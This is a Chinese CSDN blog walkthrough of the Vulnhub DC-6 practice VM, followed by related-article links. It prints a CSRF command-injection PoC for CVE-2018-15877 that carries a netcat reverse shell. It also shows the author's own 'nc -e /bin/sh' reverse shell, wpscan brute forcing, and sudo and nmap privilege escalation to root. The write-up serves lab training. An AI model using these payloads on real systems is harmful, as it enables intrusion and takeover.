Vulnhub靶机 DC-6

最新推荐文章于 2024-07-16 13:09:38 发布
最新推荐文章于 2024-07-16 13:09:38 发布
阅读量340 收藏
点赞数
分类专栏： vulnhub
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_38005854/article/details/105200025
版权

在这里插入图片描述
确定靶机192.168.0.141
开放端口80，查看一下

nmap -sP 192.168.0.0/24
nmap -sV 192.168.0.141

不能直接查看

在这里插入图片描述在这里插入图片描述

vim /etc/hosts  添加一下

在这里插入图片描述

可以访问了，发现是wordpass，上wpscan在这里插入图片描述在这里插入图片描述
找到了五个用户名，把五个用户名写进一个txt文件，当作用户名字典
kali自带一个字典rockyou.txt

wpscan --url http：//wordy -eu

在这里插入图片描述一点也不耗时，才一个小时，刺激
网上找了一下后台，wp-admin
等不了了，直接在网上找答案吧
账号：mark
密码：helpdesk01

wpscan --url http：//wordy -U /Desktop/user.txt -P /usr/share/wordlists/rockyou.txt

在这里插入图片描述

<!--
About:
===========
Component: Plainview Activity Monitor (Wordpress plugin)
Vulnerable version: 20161228 and possibly prior
Fixed version: 20180826
CVE-ID: CVE-2018-15877
CWE-ID: CWE-78
Author:
- LydA(c)ric Lefebvre (https://www.linkedin.com/in/lydericlefebvre)

Timeline:
===========
- 2018/08/25: Vulnerability found
- 2018/08/25: CVE-ID request
- 2018/08/26: Reported to developer
- 2018/08/26: Fixed version
- 2018/08/26: Advisory published on GitHub
- 2018/08/26: Advisory sent to bugtraq mailing list

Description:
===========
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability, but
this plugin version is also vulnerable to CSRF attack and Reflected                                                                                                                                                                        
XSS. Combined, these three vulnerabilities can lead to Remote Command                                                                                                                                                                      
Execution just with an admin click on a malicious link.                                                                                                                                                                                    
                                                                                                                                                                                                                                           
References:                                                                                                                                                                                                                                
===========                                                                                                                                                                                                                                
https://github.com/aas-n/CVE/blob/master/CVE-2018-15877/                                                                                                                                                                                   
                                                                                                                                                                                                                                           
PoC:                                                                                                                                                                                                                                       
-->

<html>
  <!--  Wordpress Plainview Activity Monitor RCE
        [+] Version: 20161228 and possibly prior
        [+] Description: Combine OS Commanding and CSRF to get reverse shell
        [+] Author: LydA(c)ric LEFEBVRE
        [+] CVE-ID: CVE-2018-15877
        [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
        [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
  -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
      <input type="hidden" name="lookup" value="Lookup" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

看见插件，找漏洞
远程命令执行漏洞
已经给出利用了

在这里插入图片描述
在这里插入图片描述

输入一个域名，bp抓包
域名后面接|id
有输出
直接上nc

nc -e /bin/sh 192.168.0.128 4444

在这里插入图片描述

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述
查看文件，给出
账号：graham
密码：GSo7isUM1D4

在这里插入图片描述
SSH登录刚才给出的账号

ssh graham@192.168.0.141 -P

在这里插入图片描述

在这里插入图片描述

jens没有密码
看到backups.sh
是一个打包文件

sudo -l

在这里插入图片描述

/bin/bash写入文件
运行

echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh

在这里插入图片描述

继续查看可执行的操作
nmap提权

sudo -l

在这里插入图片描述

echo ‘os.execute("/bin/sh")' > getshell
sudo nmap --script=getshell
cd /root
cat theflag.txt

拿到flag！！！！
一个星期时间，一个靶机也没刷，也不知道自己干嘛了，还以为之前的知识都忘了呢，还好没忘，感觉还比之前更熟练了，半天就可以搞定一个靶机，加油！

菜浪马废
关注
专栏目录
【vulnhub】---DC-6靶机
qq_43168364的博客
08-21 686
目录 一、实验环境 二、信息收集 三、渗透测试 　　1、漏洞发现和利用 　　2、提权 四、总结 一、实验环境 靶机：靶机(192.168.15.154) 攻击机：kali Linux(192.168.15.129) 二、信息收集 主机发现 命令：nmap -sn 192.168.15.0/24 命令：netdiscover -i eth0 -r 192.168.15.0/24 端口扫描 版本探测和操作系统识别 web指纹识别 网站目录扫描 三、渗透测试 1、漏洞发现和利用 2、提权 四、总结 渗
vulnhub靶机DC-1
cyzCc的博客
02-15 968
1.启动DC1靶机发现没有登录密码 2.信息收集 主机发现，由于是与主机nat连接，所以需要找到dc1的IP地址 dc1的Mac地址是 nmap -sP 192.168.211.0/24 所以dc1 靶机的ip地址是192.168.211.133 扫描主机上开启的服务 nmap -A 192.168.211.133 -p 1-65535 发现目标开启了22端口和80端口 22端口考虑ssh...
dc-1靶机
qq_63267612的博客
09-28 1313
显示修改成功，尝试去登陆发现登陆失败，这里显示的密码是加密过的，尝试去找到drupaldb的加密方式，然后把密码更改为一个加密过的但是是已知的密码。可以看到开放了ssh端口和http和111端口，尝试查看一下网站，有一个登陆框，尝试sql注入，发现没有用，不过可以从界面发现cms是drupal。使用说明：下载后解压后得到一个ova的文件，在vm虚拟机中直接打开设置好相关的设置，配置好之后，注意靶机和kali的网络设置调换成NAT模式。知道了cms是drupal，drupal有一些可以利用的漏洞进入msf。
DC:1靶机
黑锤的博客
11-25 427
这个靶机有五个flag，适合初学者，我没管那么多，反正直接拿到root权限就可以了。 下载地址自己去Google吧。 环境搭建好之后，第一步还是老样子，主机发现：netdiscover -r 192.168.233.0/24 得到主机的ip为192.168.233.144 进一步用nmap扫一遍，在扫的同时可以访问他的ip去看看。nmap -sS -A 192.168.233.0/24 看到...
DC-1靶机搭建与渗透过程
最新发布
qq_63034068的博客
07-16 508
我们可以利用python实现互交shell，这样就好看一点，使用的前提是攻击主机上必须装有python。所以我们的靶机DC-1的ip为192.168.201.140。这里我们看到它的80端口是打开的，于是我们去访问这个服务器。我们用123456的hash将admin的给覆盖掉。我们看到了flag2的文件以及数据库的相关信息。我们随便看一看发现里面有一个flag3的文件。发现没有于是我们去找Drupal的配置文件。我们利用hash将admin的密码给修改掉。我们看到一个flag的文件我们打开看一看。
DC-3靶机
m0_57954651的博客
10-01 1872
保存就上传 然后进行测试访问 （再根据joomla的特性 模块会单独放在一个文件夹里/templates/ 而beez3模块就在/templates/beez3/里面 刚才创建的webshell路径为）http://192.168.47.150/templates/beez3/shell.php。文本写的是漏洞产生的原因 描述和漏洞利用的方法 还附上了exp 最后一行的连接 （执行下两个文件 Linux系统下.（点）是执行某个文件的意思 （./compile.sh）
DC靶机系列：DC-9
Ays.Ie的博客
03-01 385
本篇文章为DC系列第9个靶机，该篇文章详细的记录了渗透的思路和整个渗透的过程，希望能够帮助到他人，同时加深自己的印象以及熟练自己的操作
DC靶机系列：DC-5
Ays.Ie的博客
02-27 429
本篇文章为DC系列第5个靶机，该篇文章详细的记录了渗透的思路和整个渗透的过程，希望能够帮助到他人，同时加深自己的印象以及熟练自己的操作
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
Vulnhub靶机DC系列-DC-3.2
m0_54525483的博客
12-31 1200
Vulnhub靶机DC系列-DC-3.2 靶场名称：DC-2 下载地址： DC-3-2.zip (Size: 1005 MB) Download: http://www.five86.com/downloads/DC-3-2.zip Download (Mirror): https://download.vulnhub.com/dc/DC-3-2.zip Download (Torrent): https://download.vulnhub.com/dc/DC-3-2.zip.torrent ( Ma
Vulnhub靶机:DC-3渗透详细过程
IerkeU的博客
02-21 2518
前情提要 靶场地址：https://www.vulnhub.com/entry/dc-32,312/ DC-3是一个适合初学者的靶场，需要具备以下前置知识： 基础的Linux命令及操作 基础的渗透测试工具使用（Kali / Parrot下的工具） 翻译一下官方给出的一些信息： 这个靶场与之前的不同，只有一个入口点和一个flag，并且没有任何线索。 靶场只需要简单的下载，解压，打开并将其导入到VMware即可（我将其网络配置为NAT模式，保证机器与kali在同一个网段下） nmap -sP 192.168.
DC靶机1-9
qq_60905276的博客
01-22 4746
1.DC1 首先我们不知道靶机的ip地址，我们通过
DC靶机系列：DC-6
Ays.Ie的博客
02-28 619
本篇文章为DC系列第6个靶机，该篇文章详细的记录了渗透的思路和整个渗透的过程，希望能够帮助到他人，同时加深自己的印象以及熟练自己的操作
靶机DC-6
weixin_43940853的博客
11-27 1209
靶机 ：192.168.230.231 kali : 192.168.230.226 一开始扫描到80和22 访问80，发现是wordpress,用wpscan扫出用户，根据作者的提示，得到密码字典，爆破 记一下这个linux命令 爆破出用户是mark，密码是helpdesk01，wordpress登录 其他wp上讲的是用msf会搜到一个关于activity monitor的ssrf漏洞，但...
DC: 8靶机-Walkthrough
ins1ght的博客
09-26 788
DC: 8靶机，不知道是不是这个系列的最后一个靶机，后面会把DC：1～6的Walkthrough都放出来，啥时候不确定，但一定有。靶机做了一些之后就发现“信息收集是王道，注意细节是魔鬼”，尤其这个靶机，真的是细节是魔鬼????。enjoy
DC靶机渗透-DC4
weixin_41607190的博客
12-20 1788
设置成nat模式 发现主机 arp-scan -l #对局域网内的每个主机发送arp包，存在主机就会返回arp响应 端口扫描，看开启了哪些服务（端口对应服务）
靶机DC-1 WP
m0_66638011的博客
05-11 1819
DC系列靶机是一系列专门为渗透测试和网络安全实验室设计的虚拟机器。这些靶机提供了一系列不同的漏洞和攻击场景，使渗透测试者可以在这些环境下测试自的技能和工具。DC系列靶机包含多个不同的主题，例如各种操作系统的漏洞，Web应用程序安全和无线网络安全等。它们对初学者和专业人士都有很大的价值，因为它们可以帮助他们了解安全漏洞和如何利用它们进行渗透测试。
靶机DC-3—WP
m0_66638011的博客
05-17 1603
DC系列靶机是一系列专门为渗透测试和网络安全实验室设计的虚拟机器。这些靶机提供了一系列不同的漏洞和攻击场景，使渗透测试者可以在这些环境下测试自的技能和工具。DC系列靶机包含多个不同的主题，例如各种操作系统的漏洞，Web应用程序安全和无线网络安全等。它们对初学者和专业人士都有很大的价值，因为它们可以帮助他们了解安全漏洞和如何利用它们进行渗透测试。
靶机DC-4—WP
m0_66638011的博客
06-22 1039
DC系列靶机是一系列专门为渗透测试和网络安全实验室设计的虚拟机器。这些靶机提供了一系列不同的漏洞和攻击场景，使渗透测试者可以在这些环境下测试自的技能和工具。DC系列靶机包含多个不同的主题，例如各种操作系统的漏洞，Web应用程序安全和无线网络安全等。它们对初学者和专业人士都有很大的价值，因为它们可以帮助他们了解安全漏洞和如何利用它们进行渗透测试。DC-4靶场攻破过程：1.首先我们进行主机发现，将测试机的网站进行了指纹扫描，发现它没有任何框架。2.然后我们进行bp抓包，发现了暴力破解漏洞。
vulnhub靶机-jangow: 1.0.1
03-16
vulnhub靶机-jangow: 1..1是一款用于渗透测试和漏洞攻击的虚拟机。它基于Ubuntu操作系统，包含多个漏洞和弱点，供安全专业人员进行测试和实践。该靶机的目标是获取root权限，并且需要使用各种技术和工具来完成任务。...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值